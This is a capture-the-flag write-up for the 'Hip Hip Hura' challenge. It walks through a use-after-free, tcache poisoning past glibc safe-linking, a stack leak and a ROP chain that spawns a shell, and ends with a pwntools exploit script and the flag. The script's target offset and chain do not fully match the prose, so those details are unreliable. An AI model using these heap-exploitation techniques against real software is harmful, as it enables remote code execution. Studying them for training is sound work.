$cat hip-hip-hura.mdPwnHackultet 2026
Hip Hip Hura
A malloc, read, write, free menu never clears its pointer after freeing it, and that one missing line is enough to leak the heap, poison glibc's allocator, and chain into a shell with no libc to leak from.
$man hip-hip-hura
What this one teaches:
- Use-after-free, what it means for a pointer to stay valid after the memory it points to has been freed.
- Tcache poisoning, turning a controlled write into a freed chunk into an arbitrary-address allocation.
- Building a working ROP chain with no libc to leak addresses from, in a statically linked binary.
Task description
Seven ways to call a shell. (Croatian: “Sedam načina kako pozvati shell”.)
The whole program
int finish = 0;
int main(){
char* chunk = NULL;
while(!finish){
int choice = 0;
scanf("%d", &choice);
switch(choice){
case 0: chunk = malloc(0x10); break;
case 1: read(0, chunk, 0x10); break;
case 2: write(1, chunk, 0x10); break;
case 3: free(chunk); break;
}
}
}
Four options: allocate a 16-byte chunk, read into it, write it back out, free it. The entire bug is what’s missing: after free(chunk), chunk keeps the address it had, nothing resets it to NULL. Every later read or write still operates on that same address, even though the allocator now considers it free to reuse, a textbook use-after-free.
The binary is statically linked, not stripped, with a stack canary but not in main (no arrays or buffers live there), NX enabled, and PIE disabled, so code addresses are fixed from the start.
Leaking the heap
Freeing a chunk and then writing through the dangling pointer reads glibc’s own bookkeeping back out: a freed chunk’s fd field holds the address of the next free chunk in its bin, obscured (“safe-linking,” present since glibc 2.32) by XORing it with the chunk’s own address shifted right by 12 bits. Reading that field and shifting it back recovers the heap’s base address.
Turning the UAF into an arbitrary allocation
With a free, a write, and another free (the double-free only works because the use-after-free write lets us clear the safe-linking “key” that glibc checks on a second free of the same chunk), the tcache’s single-linked free list becomes something we can edit directly:
- Free the chunk once, putting it on the tcache free list.
- Use the dangling pointer to clear the stored key at offset 8, the thing that would otherwise make a second free of the same chunk get rejected as an obvious double-free.
- Free it again. The tcache now thinks there are two chunks available, both actually the same address.
- Use the dangling pointer again to overwrite the freed chunk’s
fdwithmangle(chunk, target) = (chunk >> 12) ^ target, poisoning the free list so its next entry points wherever we want. - The next
mallocreturns the original chunk back (consuming the first, legitimate free list entry); themallocafter that returnstargetitself, an allocation at an address of our choosing, with no further allocator checks in the way.
Finding a stack leak through that primitive
Pointing an allocation at __libc_argv works well for this: it’s 16-byte aligned (satisfying the tcache’s alignment check), and because it sits at offset 0 from the chunk header rather than offset 8, the key-zeroing step from the double-free doesn’t clobber the pointer value we actually want to read. Reading 16 bytes back from that allocation gives, in its first 8 bytes, a stack address (the location of argv[0]). __environ, a tempting alternative, doesn’t work here, since it sits at exactly the offset the key-zeroing step overwrites.
Reaching the stack and building a ROP chain
Once the stack leak is in hand, main’s saved rbp sits at a fixed, GDB-confirmed offset from that leaked pointer. With no stack canary protecting main (nothing in it would trigger one), overwriting its return address is safe to do directly. Writing 16 bytes at a time via repeated tcache poisoning (each write needs a fresh poisoned chunk, since the primitive only gives 16 bytes per cycle), the plan writes:
- the string
/bin/sh\0into a writable BSS address, - a short ROP chain into and above the saved
rbp, - the value
1into the globalfinishflag, somain’s loop exits on its own.
The chain itself, since this is a statically linked binary with no libc and nothing to leak an address from, is built entirely from gadgets inside the binary’s own fixed, non-randomised code:
pop rax; ret → 59 (the syscall number for execve)
pop rdi; ret → address of "/bin/sh"
pop rsi; ret → 0
pop rdx; pop rbx; ret → 0, 0
syscall
Once main’s loop exits (because finish is now 1), it runs leave; ret, landing on the planted return address and the chain executes execve("/bin/sh", NULL, NULL), a shell.
The exploit
Trimmed to the actual sequence of menu choices and bytes sent, using pwntools:
from pwn import *
p = remote('chal.live.hackultet.hr', PORT)
def alloc(): p.sendline(b'0')
def write(data): p.sendline(b'1'); p.send(data.ljust(0x10, b'\x00'))
def read_(): p.sendline(b'2'); return p.recvn(0x10)
def free(): p.sendline(b'3')
# leak the heap base
alloc(); free()
leak = u64(read_()[:8])
heap_base = (leak ^ (leak >> 0x2c)) << 12 # undo safe-linking + the >>12 shift
# double-free: clear the tcache key, poison fd with mangle(chunk, target)
free()
write(p64(0) + p64(0)) # zero the tcache key at offset 8
free()
target = heap_base + 0x10 # __libc_argv's slot, via a known offset from the heap leak
write(p64((heap_base >> 12) ^ target))
alloc() # consumes the poisoned entry
alloc(); stack_leak = u64(read_()[:8])
rbp = stack_leak - 0x1c8 # GDB-confirmed offset to main's saved rbp
rop = flat(
pop_rdi, bss, pop_rsi, 0, pop_rdx_rbx, 8, 0, pop_rax, 0, syscall_ret, # read(0, bss, 8)
pop_rdi, bss, pop_rsi, 0, pop_rdx_rbx, 0, 0, pop_rax, 59, syscall_ret, # execve(bss, 0, 0)
)
# write "/bin/sh\0" to bss, the rop chain above rbp, and finish=1, 16 bytes per poisoned write
...
p.sendline(b'/bin/sh\x00')
p.interactive()
Every write() call above is really another full round of double-free and tcache poisoning, since the primitive only ever delivers 16 bytes per cycle; the sketch collapses that repetition to keep the shape of the chain visible.
What made the chain insane rather than merely hard
Every one of these steps depends on the one before it holding exactly: the heap leak needs the UAF read; the double-free needs the UAF write to clear the safe-linking key; the stack leak needs an allocation target that survives the key-zeroing at the right offset; the ROP chain needs that stack leak and a static binary’s fixed gadget addresses, since there’s no libc here to leak from at all.
$cat flag.txt reveal
CTF2026[857212441112]